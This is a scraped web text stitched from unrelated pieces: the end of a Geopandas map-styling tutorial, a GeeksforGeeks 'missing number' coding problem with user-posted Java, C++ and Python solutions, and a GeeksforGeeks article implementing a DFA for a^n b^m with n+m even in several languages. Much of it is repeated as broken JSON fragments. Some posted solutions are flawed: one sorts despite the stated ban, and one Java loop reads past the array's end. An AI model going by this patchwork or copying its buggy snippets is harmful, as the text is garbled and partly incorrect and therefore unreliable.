fontsize=40, fontname=”Palatino Linotype”, color=”grey”)ax.axis(“off”)#plt.axis(‘equal’)plt.show()" }, { "code": null, "e": 4223, "s": 3992, "text": "We just projected the data to web Mercator before plotting it (# 2) and add a base map, in this case, Stamen Toner Lite design. And here is the map with base maps. Depending on your choice, you can choose many different base maps." }, { "code": null, "e": 4489, "s": 4223, "text": "The map above has a contextual base map and is better visually compared to the defaults Geopandas provides. Do not accept defaults and try to experiment and design your maps. With some knowledge of Matplotlib, you can create an aesthetically pleasing map in Python." }, { "code": null, "e": 4773, "s": 4489, "text": "In this tutorial, we covered how to go beyond defaults in map-making with Geopandas. We have seen how to tweak and customize plots with parameters. We have also shared how to include colour design in your maps. Finally, we have added base maps easily to provide context for the maps." } ]
Missing number | Practice | GeeksforGeeks
Vaibhav likes to play with numbers and he has N numbers. One day he was placing the numbers on the playing board just to count that how many numbers he has. He was placing the numbers in increasing order i.e. from 1 to N. But when he was putting the numbers back into his bag, some numbers fell down onto the floor. He picked up all the numbers but one number, he couldn't find. Now he has to go somewhere urgently, so he asks you to find the missing number. NOTE: Don't use Sorting Example 1: Input: N = 4 A[] = {1, 4, 3} Output: 2 Explanation: Vaibhav placed 4 integers but he picked up only 3 numbers. So missing number will be 2 as it will become 1,2,3,4. Example 2: Input: N = 5 A[] = {2, 5, 3, 1} Output: 4 Explanation: Vaibhav placed 5 integers on the board, but picked up only 4 integers, so the missing number will be 4 so that it will become 1,2,3,4,5. Your Task: You don't need to read input or print anything. Your task is to complete the function missingNumber() which takes the array A[] and its size N as inputs and returns the missing number. Exected Time Complexity: O(N) Expected Auxiliary Space: O(1) Constraints: 2 ≤ N ≤ 104 1 ≤ A[i] ≤ 104 Size of the array A[] = N-1 0 harshilrpanchal19986 days ago java solution Arrays.sort(arr);int sum=0, result =0;for (int i=0 ; i < arr.length ; i++){ sum += arr[i];}for (int i=1 ; i <= N ; i++ ){ result += i;}return result-sum; 0 kssaini32011 week ago C++ 0.31/1.6 int missingNumber(int A[], int N){ // Your code goes here int sum = (N*(N+1))/2; int add=0; for(int i=0;i<N-1;i++) { add += A[i]; } return sum-add;} 0 kerim22 weeks ago int missingNumber(int A[], int N){ // Your code goes here int totalSum = N*(N+1)/2; for(int i = 0; i < N-1; i++) totalSum -= A[i]; return totalSum; } 0 mehraparthak02 weeks ago int missingNumber(int arr[], int N){ int sum=(N*(N+1))/2; for(int i=0;i<N-1;i++){ sum-=arr[i]; } return sum;} 0 arvind16yadav4 weeks ago /*JAVA CODE*/ public static int missingNumber(int A[], int N) { // Your code goes here //find sum of given numbers and subtract from sigma n int sum_of_n_numbers = N*(N+1)/2; int missing_number = 0; int given_sum = 0; for(int x : A){ given_sum += x; } missing_number = sum_of_n_numbers - given_sum; return missing_number; } 0 mail2rajab011 month ago // Simple Java Solution Total Time Taken: 0.6/4.5 class Compute { public static int missingNumber(int A[], int N) { // Your code goes here int sum=N*(N+1)/2; for(int i=0;i<N;i++){ sum -=A[i]; } return sum; }} 0 soumyarupchatterjee1111 month ago #Simple Java Solution class Compute { public static int missingNumber(int A[], int N) { // Your code goes here int sum=0; for(int i=1;i<=N;i++) { sum+=i; } for(int i=0;i<A.length;i++) { sum=sum-A[i]; } return sum; }} +1 mukulvyasg1 month ago python def missingNumber( A, N): # Your code goes here return sum(list(range(N+1)))-sum(A) 0 hasnainraza1998hr2 months ago C++, 0.3 ============= int missingNumber(int A[], int N){ int sum = N*(N+1)/2; for(int i=0;i<N-1;i++){ sum -= A[i]; } return sum;} 0 praveenkumar647672 months ago int count = 0; int total = (N*(N+1))/2; for(int i=0; i<N-1; i++){ count += A[i]; } return total - count; We strongly recommend solving this problem on your own before viewing its editorial. Do you still want to view the editorial? Login to access your submissions. Problem Contest Reset the IDE using the second button on the top right corner. Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values. Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints. You can access the hints to get an idea about what is expected of you as well as the final solution code. You can view the solutions submitted by other users from the submission tab.
[ { "code": null, "e": 734, "s": 238, "text": "Vaibhav likes to play with numbers and he has N numbers. One day he was placing the numbers on the playing board just to count that how many numbers he has. He was placing the numbers in increasing order i.e. from 1 to N. But when he was putting the numbers back into his bag, some numbers fell down onto the floor. He picked up all the numbers but one number, he couldn't find. Now he has to go somewhere urgently, so he asks you to find the missing number.\nNOTE: Don't use Sorting\n\n\nExample 1:" }, { "code": null, "e": 1000, "s": 734, "text": "Input: \nN = 4 \nA[] = {1, 4, 3}\nOutput:\n2 \nExplanation:\nVaibhav placed 4 integers but he picked\nup only 3 numbers. So missing number\nwill be 2 as it will become 1,2,3,4." }, { "code": null, "e": 1013, "s": 1002, "text": "Example 2:" }, { "code": null, "e": 1229, "s": 1013, "text": "Input: \nN = 5\nA[] = {2, 5, 3, 1}\nOutput:\n4\nExplanation:\nVaibhav placed 5 integers on the board,\nbut picked up only 4 integers, so the\nmissing number will be 4 so that it\nwill become 1,2,3,4,5." }, { "code": null, "e": 1429, "s": 1231, "text": "Your Task: \nYou don't need to read input or print anything. Your task is to complete the function missingNumber() which takes the array A[] and its size N as inputs and returns the missing number." }, { "code": null, "e": 1492, "s": 1431, "text": "Exected Time Complexity: O(N)\nExpected Auxiliary Space: O(1)" }, { "code": null, "e": 1533, "s": 1492, "text": "\nConstraints:\n2 ≤ N ≤ 104\n1 ≤ A[i] ≤ 104" }, { "code": null, "e": 1562, "s": 1533, "text": "Size of the array A[] = N-1 " }, { "code": null, "e": 1564, "s": 1562, "text": "0" }, { "code": null, "e": 1594, "s": 1564, "text": "harshilrpanchal19986 days ago" }, { "code": null, "e": 1608, "s": 1594, "text": "java solution" }, { "code": null, "e": 1770, "s": 1610, "text": "Arrays.sort(arr);int sum=0, result =0;for (int i=0 ; i < arr.length ; i++){ sum += arr[i];}for (int i=1 ; i <= N ; i++ ){ result += i;}return result-sum;" }, { "code": null, "e": 1772, "s": 1770, "text": "0" }, { "code": null, "e": 1794, "s": 1772, "text": "kssaini32011 week ago" }, { "code": null, "e": 1808, "s": 1794, "text": "C++ 0.31/1.6" }, { "code": null, "e": 1979, "s": 1810, "text": "int missingNumber(int A[], int N){ // Your code goes here int sum = (N*(N+1))/2; int add=0; for(int i=0;i<N-1;i++) { add += A[i]; } return sum-add;}" }, { "code": null, "e": 1981, "s": 1979, "text": "0" }, { "code": null, "e": 1999, "s": 1981, "text": "kerim22 weeks ago" }, { "code": null, "e": 2161, "s": 1999, "text": "int missingNumber(int A[], int N){\n // Your code goes here\n int totalSum = N*(N+1)/2;\n for(int i = 0; i < N-1; i++) totalSum -= A[i];\n return totalSum;\n}" }, { "code": null, "e": 2163, "s": 2161, "text": "0" }, { "code": null, "e": 2188, "s": 2163, "text": "mehraparthak02 weeks ago" }, { "code": null, "e": 2312, "s": 2188, "text": "int missingNumber(int arr[], int N){ int sum=(N*(N+1))/2; for(int i=0;i<N-1;i++){ sum-=arr[i]; } return sum;}" }, { "code": null, "e": 2314, "s": 2312, "text": "0" }, { "code": null, "e": 2339, "s": 2314, "text": "arvind16yadav4 weeks ago" }, { "code": null, "e": 2353, "s": 2339, "text": "/*JAVA CODE*/" }, { "code": null, "e": 2758, "s": 2353, "text": " public static int missingNumber(int A[], int N) { // Your code goes here //find sum of given numbers and subtract from sigma n int sum_of_n_numbers = N*(N+1)/2; int missing_number = 0; int given_sum = 0; for(int x : A){ given_sum += x; } missing_number = sum_of_n_numbers - given_sum; return missing_number; }" }, { "code": null, "e": 2760, "s": 2758, "text": "0" }, { "code": null, "e": 2784, "s": 2760, "text": "mail2rajab011 month ago" }, { "code": null, "e": 2808, "s": 2784, "text": "// Simple Java Solution" }, { "code": null, "e": 2834, "s": 2808, "text": "Total Time Taken: 0.6/4.5" }, { "code": null, "e": 3050, "s": 2836, "text": "class Compute { public static int missingNumber(int A[], int N) { // Your code goes here int sum=N*(N+1)/2; for(int i=0;i<N;i++){ sum -=A[i]; } return sum; }}" }, { "code": null, "e": 3052, "s": 3050, "text": "0" }, { "code": null, "e": 3086, "s": 3052, "text": "soumyarupchatterjee1111 month ago" }, { "code": null, "e": 3109, "s": 3086, "text": "#Simple Java Solution " }, { "code": null, "e": 3398, "s": 3109, "text": "class Compute { public static int missingNumber(int A[], int N) { // Your code goes here int sum=0; for(int i=1;i<=N;i++) { sum+=i; } for(int i=0;i<A.length;i++) { sum=sum-A[i]; } return sum; }}" }, { "code": null, "e": 3401, "s": 3398, "text": "+1" }, { "code": null, "e": 3423, "s": 3401, "text": "mukulvyasg1 month ago" }, { "code": null, "e": 3430, "s": 3423, "text": "python" }, { "code": null, "e": 3524, "s": 3432, "text": "def missingNumber( A, N):\n # Your code goes here\n return sum(list(range(N+1)))-sum(A)" }, { "code": null, "e": 3526, "s": 3524, "text": "0" }, { "code": null, "e": 3556, "s": 3526, "text": "hasnainraza1998hr2 months ago" }, { "code": null, "e": 3565, "s": 3556, "text": "C++, 0.3" }, { "code": null, "e": 3579, "s": 3565, "text": "=============" }, { "code": null, "e": 3701, "s": 3579, "text": "int missingNumber(int A[], int N){ int sum = N*(N+1)/2; for(int i=0;i<N-1;i++){ sum -= A[i]; } return sum;}" }, { "code": null, "e": 3703, "s": 3701, "text": "0" }, { "code": null, "e": 3733, "s": 3703, "text": "praveenkumar647672 months ago" }, { "code": null, "e": 3897, "s": 3733, "text": " int count = 0; int total = (N*(N+1))/2; for(int i=0; i<N-1; i++){ count += A[i]; } return total - count;" }, { "code": null, "e": 4043, "s": 3897, "text": "We strongly recommend solving this problem on your own before viewing its editorial. Do you still\n want to view the editorial?" }, { "code": null, "e": 4079, "s": 4043, "text": " Login to access your submissions. " }, { "code": null, "e": 4089, "s": 4079, "text": "\nProblem\n" }, { "code": null, "e": 4099, "s": 4089, "text": "\nContest\n" }, { "code": null, "e": 4162, "s": 4099, "text": "Reset the IDE using the second button on the top right corner." }, { "code": null, "e": 4310, "s": 4162, "text": "Avoid using static/global variables in your code as your code is tested against multiple test cases and these tend to retain their previous values." }, { "code": null, "e": 4518, "s": 4310, "text": "Passing the Sample/Custom Test cases does not guarantee the correctness of code. On submission, your code is tested against multiple test cases consisting of all possible corner cases and stress constraints." }, { "code": null, "e": 4624, "s": 4518, "text": "You can access the hints to get an idea about what is expected of you as well as the final solution code." } ]
DFA for accepting the language L = { anbm | n+m=even } - GeeksforGeeks
09 Aug, 2021 Design a deterministic finite automata(DFA) for accepting the language L =For creating DFA for language, L = { a^n b^m ; n+m=even } use elementary mathematics, which says- even + even = even and odd + odd = even Examples: Input: a a b b // n = 2, m = 2, 2 + 2 = 4 (even) Output: ACCEPTED Input: a a a b b b b // n = 3, m = 4, 3 + 4 = 7 (odd) Output: NOT ACCEPTED Input: a a a b b b // n = 3, m = 3, 3 + 3 = 6 (even) Output: ACCEPTED Approaches: There is 2 cases that results in acceptance of string: If both n and m are even then their sum will be evenIf both n and m are odd then their sum will be even If both n and m are even then their sum will be even If both n and m are odd then their sum will be even Description: Given DFA has 2 parts. The first part consists of states 0, 1, 5, and 6 which is for both n and m is odd. The second part consists of states 2, 3, and 4 is for both n and m is even.DFA State Transition Diagram: Let’s see the code for the demonstration: C++ C Java Python3 C# PHP Javascript // C++ program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }#include <bits/stdc++.h>using namespace std; // dfa tells the number associated// with the present stateint dfa = 0; // This function is for// the starting state (zeroth) of DFAvoid start(char c){ if (c == 'a') dfa = 1; else if (c == 'b') dfa = 2; // -1 is used to check for any invalid symbol else dfa = -1;} // This function is for the first state of DFAvoid state1(char c){ if (c == 'a') dfa = 0; else if (c == 'b') dfa = 5; else dfa = -1;} // This function is for the second state of DFAvoid state2(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the third state of DFAvoid state3(char c){ if (c == 'b') dfa = 4; else dfa = -1;} // This function is for the fourth state of DFAvoid state4(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the fifth state of DFAvoid state5(char c){ if (c == 'b') dfa = 6; else dfa = -1;} // This function is for the sixth state of DFAvoid state6(char c){ if (c == 'b') dfa = 5; else dfa = -1;} int isAccepted(char str[]){ // Store length of string int i, len = strlen(str); for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0;} // Driver codeint main(){ char str[] = "aaabbb"; if (isAccepted(str)) cout << "\nACCEPTED\n"; else cout << "NOT ACCEPTED\n"; return 0;} // This code is contributed by SHUBHAMSINGH10 // C program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }#include <stdio.h>#include <string.h> // dfa tells the number associated// with the present stateint dfa = 0; // This function is for// the starting state (zeroth) of DFAvoid start(char c){ if (c == 'a') dfa = 1; else if (c == 'b') dfa = 2; // -1 is used to check for any invalid symbol else dfa = -1;} // This function is for the first state of DFAvoid state1(char c){ if (c == 'a') dfa = 0; else if (c == 'b') dfa = 5; else dfa = -1;} // This function is for the second state of DFAvoid state2(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the third state of DFAvoid state3(char c){ if (c == 'b') dfa = 4; else dfa = -1;} // This function is for the fourth state of DFAvoid state4(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the fifth state of DFAvoid state5(char c){ if (c == 'b') dfa = 6; else dfa = -1;} // This function is for the sixth state of DFAvoid state6(char c){ if (c == 'b') dfa = 5; else dfa = -1;} int isAccepted(char str[]){ // store length of string int i, len = strlen(str); for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0;} // driver codeint main(){ char str[] = "aaabbb"; if (isAccepted(str)) printf("\nACCEPTED\n"); else printf("NOT ACCEPTED\n"); return 0;} // Java program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }class GFG { // dfa tells the number associated // with the present state. static int dfa = 0; // This function is for // the starting state (Q0)of DFA static void start(char c) { if (c == 'a') { dfa = 1; } else if (c == 'b') { dfa = 2; } // -1 is used to check for any invalid symbol else { dfa = -1; } } // This function is for // the first state (Q1) of DFA static void state1(char c) { if (c == 'a') { dfa = 0; } else if (c == 'b') { dfa = 5; } else { dfa = -1; } } // This function is for the // second state (Q2) of DFA static void state2(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // third state (Q3)of DFA static void state3(char c) { if (c == 'b') { dfa = 4; } else { dfa = -1; } } // This function is for the // fourth state (Q4) of DFA static void state4(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // fifth state (Q5) of DFA static void state5(char c) { if (c == 'b') { dfa = 6; } else { dfa = -1; } } // This function is for the // sixth state (Q6) of DFA static void state6(char c) { if (c == 'b') { dfa = 5; } else { dfa = -1; } } static int isAccepted(char str[]) { // store length of string int i, len = str.length; for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0; } // Driver code public static void main(String[] args) { char str[] = "aaabbb".toCharArray(); if (isAccepted(str) == 1) System.out.println("ACCEPTED"); else System.out.println("NOT ACCEPTED"); }} # Python3 program to implement DFA that accepts# all strings which follow the language# L = a ^ n b ^ m n + m = even # This function is for the dfa = starting# dfa = state (zeroth) of DFAdef start(c): if (c == 'a'): dfa = 1 elif (c == 'b'): dfa = 2 # -1 is used to check for any # invalid symbol else: dfa = -1 return dfa # This function is for the first# dfa = state of DFAdef state1(c): if (c == 'a'): dfa = 0 elif (c == 'b'): dfa = 5 else: dfa = -1 return dfa # This function is for the second# dfa = state of DFAdef state2(c): if (c == 'b'): dfa = 3 else: dfa = -1 return dfa # This function is for the third# dfa = state of DFAdef state3(c): if (c == 'b'): dfa = 4 else: dfa = -1 return dfa # This function is for the fourth# dfa = state of DFAdef state4(c): if (c == 'b'): dfa = 3 else: dfa = -1 return dfa # This function is for the fifth# dfa = state of DFAdef state5(c): if (c == 'b'): dfa = 6 else: dfa = -1 return dfa # This function is for the sixth# dfa = state of DFAdef state6(c): if (c == 'b'): dfa = 5 else: dfa = -1 return dfa def isAccepted(String): # store length of Stringing l = len(String) # dfa tells the number associated # with the present dfa = state dfa = 0 for i in range(l): if (dfa == 0): dfa = start(String[i]) elif (dfa == 1): dfa = state1(String[i]) elif (dfa == 2) : dfa = state2(String[i]) elif (dfa == 3) : dfa = state3(String[i]) elif (dfa == 4) : dfa = state4(String[i]) elif (dfa == 5) : dfa = state5(String[i]) elif (dfa == 6): dfa = state6(String[i]) else: return 0 if(dfa == 3 or dfa == 5) : return 1 else: return 0 # Driver codeif __name__ == "__main__" : String = "aaabbb" if (isAccepted(String)) : print("ACCEPTED") else: print("NOT ACCEPTED") # This code is contributed by# Shubham Singh(SHUBHAMSINGH10) // C# program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }using System; class GFG{ // dfa tells the number associated // with the present state. static int dfa = 0; // This function is for // the starting state (Q0)of DFA static void start(char c) { if (c == 'a') { dfa = 1; } else if (c == 'b') { dfa = 2; } // -1 is used to check for any invalid symbol else { dfa = -1; } } // This function is for // the first state (Q1) of DFA static void state1(char c) { if (c == 'a') { dfa = 0; } else if (c == 'b') { dfa = 5; } else { dfa = -1; } } // This function is for the // second state (Q2) of DFA static void state2(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // third state (Q3)of DFA static void state3(char c) { if (c == 'b') { dfa = 4; } else { dfa = -1; } } // This function is for the // fourth state (Q4) of DFA static void state4(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // fifth state (Q5) of DFA static void state5(char c) { if (c == 'b') { dfa = 6; } else { dfa = -1; } } // This function is for the // sixth state (Q6) of DFA static void state6(char c) { if (c == 'b') { dfa = 5; } else { dfa = -1; } } static int isAccepted(char []str) { // store length of string int i, len = str.Length; for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0; } // Driver code public static void Main(String[] args) { char []str = "aaabbb".ToCharArray(); if (isAccepted(str) == 1) Console.WriteLine("ACCEPTED"); else Console.WriteLine("NOT ACCEPTED"); }} /* This code contributed by PrinciRaj1992 */ <?php// PHP program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even } // This function is for the// starting state (zeroth) of DFAfunction start($c, &$dfa){ if ($c == 'a') $dfa = 1; elseif ($c == 'b') $dfa = 2; // -1 is used to check for any // invalid symbol else $dfa = -1;} // This function is for the first// state of DFAfunction state1($c, &$dfa){ if ($c == 'a') $dfa = 0; elseif ($c == 'b') $dfa = 5; else $dfa = -1;} // This function is for the second// state of DFAfunction state2($c, &$dfa){ if ($c == 'b') $dfa = 3; else $dfa = -1;} // This function is for the third// state of DFAfunction state3($c, &$dfa){ if ($c == 'b') $dfa = 4; else $dfa = -1;} // This function is for the fourth// state of DFAfunction state4($c, &$dfa){ if ($c == 'b') $dfa = 3; else $dfa = -1;} // This function is for the fifth// state of DFAfunction state5($c, &$dfa){ if ($c == 'b') $dfa = 6; else $dfa = -1;} // This function is for the sixth// state of DFAfunction state6($c, &$dfa){ if ($c == 'b') $dfa = 5; else $dfa = -1;} function isAccepted($str, &$dfa){ // store length of string $i = 0; $len = sizeof($str); for ($i = 0; $i < $len; $i++) { if ($dfa == 0) start($str[$i], $dfa); elseif ($dfa == 1) state1($str[$i], $dfa); elseif ($dfa == 2) state2($str[$i], $dfa); elseif ($dfa == 3) state3($str[$i], $dfa); elseif ($dfa == 4) state4($str[$i], $dfa); elseif ($dfa == 5) state5($str[$i], $dfa); elseif ($dfa == 6) state6($str[$i], $dfa); else return 0; } if($dfa == 3 || $dfa == 5) return 1; else return 0;} // Driver code // dfa tells the number associated// with the present state$dfa = 0;$str = array("a", "a", "a", "b", "b", "b"); if (isAccepted($str, $dfa) != 0) echo "ACCEPTED";else echo "NOT ACCEPTED"; // This code is contributed by// Adesh kumar Singh(adeshsingh1)?> <script> // Javascript program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even } // dfa tells the number associated// with the present statevar dfa = 0; // This function is for// the starting state (zeroth) of DFAfunction start(c){ if (c == 'a') dfa = 1; else if (c == 'b') dfa = 2; // -1 is used to check for any invalid symbol else dfa = -1;} // This function is for the first state of DFAfunction state1(c){ if (c == 'a') dfa = 0; else if (c == 'b') dfa = 5; else dfa = -1;} // This function is for the second state of DFAfunction state2(c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the third state of DFAfunction state3(c){ if (c == 'b') dfa = 4; else dfa = -1;} // This function is for the fourth state of DFAfunction state4(c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the fifth state of DFAfunction state5(c){ if (c == 'b') dfa = 6; else dfa = -1;} // This function is for the sixth state of DFAfunction state6(c){ if (c == 'b') dfa = 5; else dfa = -1;} function isAccepted(str){ // Store length of string var i, len = (str.length); for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0;} // Driver codevar str = "aaabbb";if (isAccepted(str)) document.write( "ACCEPTED");else document.write( "NOT ACCEPTED"); </script> Output: ACCEPTED There is a minimal DFA for the same problem. SHUBHAMSINGH10 AdeshSingh1 princiraj1992 noob2000 siddheshjn GATE CS Theory of Computation & Automata Writing code in comment? Please use ide.geeksforgeeks.org, generate link and share the link here. Comments Old Comments Layers of OSI Model ACID Properties in DBMS Types of Operating Systems Normal Forms in DBMS TCP/IP Model Difference between DFA and NFA Design 101 sequence detector (Mealy machine) Closure properties of Regular languages Conversion of Epsilon-NFA to NFA Regular expression to ∈-NFA
[ { "code": null, "e": 29834, "s": 29806, "text": "\n09 Aug, 2021" }, { "code": null, "e": 30046, "s": 29834, "text": "Design a deterministic finite automata(DFA) for accepting the language L =For creating DFA for language, L = { a^n b^m ; n+m=even } use elementary mathematics, which says- even + even = even and odd + odd = even" }, { "code": null, "e": 30057, "s": 30046, "text": "Examples: " }, { "code": null, "e": 30290, "s": 30057, "text": "Input: a a b b // n = 2, m = 2, 2 + 2 = 4 (even)\nOutput: ACCEPTED\n\nInput: a a a b b b b // n = 3, m = 4, 3 + 4 = 7 (odd) \nOutput: NOT ACCEPTED\n\nInput: a a a b b b // n = 3, m = 3, 3 + 3 = 6 (even)\nOutput: ACCEPTED" }, { "code": null, "e": 30359, "s": 30290, "text": "Approaches: There is 2 cases that results in acceptance of string: " }, { "code": null, "e": 30463, "s": 30359, "text": "If both n and m are even then their sum will be evenIf both n and m are odd then their sum will be even" }, { "code": null, "e": 30516, "s": 30463, "text": "If both n and m are even then their sum will be even" }, { "code": null, "e": 30568, "s": 30516, "text": "If both n and m are odd then their sum will be even" }, { "code": null, "e": 30792, "s": 30568, "text": "Description: Given DFA has 2 parts. The first part consists of states 0, 1, 5, and 6 which is for both n and m is odd. The second part consists of states 2, 3, and 4 is for both n and m is even.DFA State Transition Diagram:" }, { "code": null, "e": 30835, "s": 30792, "text": "Let’s see the code for the demonstration: " }, { "code": null, "e": 30839, "s": 30835, "text": "C++" }, { "code": null, "e": 30841, "s": 30839, "text": "C" }, { "code": null, "e": 30846, "s": 30841, "text": "Java" }, { "code": null, "e": 30854, "s": 30846, "text": "Python3" }, { "code": null, "e": 30857, "s": 30854, "text": "C#" }, { "code": null, "e": 30861, "s": 30857, "text": "PHP" }, { "code": null, "e": 30872, "s": 30861, "text": "Javascript" }, { "code": "// C++ program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }#include <bits/stdc++.h>using namespace std; // dfa tells the number associated// with the present stateint dfa = 0; // This function is for// the starting state (zeroth) of DFAvoid start(char c){ if (c == 'a') dfa = 1; else if (c == 'b') dfa = 2; // -1 is used to check for any invalid symbol else dfa = -1;} // This function is for the first state of DFAvoid state1(char c){ if (c == 'a') dfa = 0; else if (c == 'b') dfa = 5; else dfa = -1;} // This function is for the second state of DFAvoid state2(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the third state of DFAvoid state3(char c){ if (c == 'b') dfa = 4; else dfa = -1;} // This function is for the fourth state of DFAvoid state4(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the fifth state of DFAvoid state5(char c){ if (c == 'b') dfa = 6; else dfa = -1;} // This function is for the sixth state of DFAvoid state6(char c){ if (c == 'b') dfa = 5; else dfa = -1;} int isAccepted(char str[]){ // Store length of string int i, len = strlen(str); for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0;} // Driver codeint main(){ char str[] = \"aaabbb\"; if (isAccepted(str)) cout << \"\\nACCEPTED\\n\"; else cout << \"NOT ACCEPTED\\n\"; return 0;} // This code is contributed by SHUBHAMSINGH10", "e": 32933, "s": 30872, "text": null }, { "code": "// C program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }#include <stdio.h>#include <string.h> // dfa tells the number associated// with the present stateint dfa = 0; // This function is for// the starting state (zeroth) of DFAvoid start(char c){ if (c == 'a') dfa = 1; else if (c == 'b') dfa = 2; // -1 is used to check for any invalid symbol else dfa = -1;} // This function is for the first state of DFAvoid state1(char c){ if (c == 'a') dfa = 0; else if (c == 'b') dfa = 5; else dfa = -1;} // This function is for the second state of DFAvoid state2(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the third state of DFAvoid state3(char c){ if (c == 'b') dfa = 4; else dfa = -1;} // This function is for the fourth state of DFAvoid state4(char c){ if (c == 'b') dfa = 3; else dfa = -1;} // This function is for the fifth state of DFAvoid state5(char c){ if (c == 'b') dfa = 6; else dfa = -1;} // This function is for the sixth state of DFAvoid state6(char c){ if (c == 'b') dfa = 5; else dfa = -1;} int isAccepted(char str[]){ // store length of string int i, len = strlen(str); for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0;} // driver codeint main(){ char str[] = \"aaabbb\"; if (isAccepted(str)) printf(\"\\nACCEPTED\\n\"); else printf(\"NOT ACCEPTED\\n\"); return 0;}", "e": 34939, "s": 32933, "text": null }, { "code": "// Java program to implement DFA that accepts// all strings which follow the language// L = { a^n b^m ; n+m=even }class GFG { // dfa tells the number associated // with the present state. static int dfa = 0; // This function is for // the starting state (Q0)of DFA static void start(char c) { if (c == 'a') { dfa = 1; } else if (c == 'b') { dfa = 2; } // -1 is used to check for any invalid symbol else { dfa = -1; } } // This function is for // the first state (Q1) of DFA static void state1(char c) { if (c == 'a') { dfa = 0; } else if (c == 'b') { dfa = 5; } else { dfa = -1; } } // This function is for the // second state (Q2) of DFA static void state2(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // third state (Q3)of DFA static void state3(char c) { if (c == 'b') { dfa = 4; } else { dfa = -1; } } // This function is for the // fourth state (Q4) of DFA static void state4(char c) { if (c == 'b') { dfa = 3; } else { dfa = -1; } } // This function is for the // fifth state (Q5) of DFA static void state5(char c) { if (c == 'b') { dfa = 6; } else { dfa = -1; } } // This function is for the // sixth state (Q6) of DFA static void state6(char c) { if (c == 'b') { dfa = 5; } else { dfa = -1; } } static int isAccepted(char str[]) { // store length of string int i, len = str.length; for (i = 0; i < len; i++) { if (dfa == 0) start(str[i]); else if (dfa == 1) state1(str[i]); else if (dfa == 2) state2(str[i]); else if (dfa == 3) state3(str[i]); else if (dfa == 4) state4(str[i]); else if (dfa == 5) state5(str[i]); else if (dfa == 6) state6(str[i]); else return 0; } if (dfa == 3 || dfa == 5) return 1; else return 0; } // Driver code public static void main(String[] args) { char str[] = \"aaabbb\".toCharArray(); if (isAccepted(str) == 1) System.out.println(\"ACCEPTED\"); else System.out.println(\"NOT ACCEPTED\"); }}", "e": 37678, "s": 34939, "text": null }, { "code": "# Python3 program to implement DFA that accepts# all strings which follow the language# L = a ^ n b ^ m n + m = even # This function is for the dfa = starting# dfa = state (zeroth) of DFAdef start(c): if (c == 'a'): dfa = 1 elif (c == 'b'): dfa = 2 # -1 is used to check for any # invalid symbol else: dfa = -1 return dfa # This function is for the first# dfa = state of DFAdef state1(c): if (c == 'a'): dfa = 0 elif (c == 'b'): dfa = 5 else: dfa = -1 return dfa # This function is for the second# dfa = state of 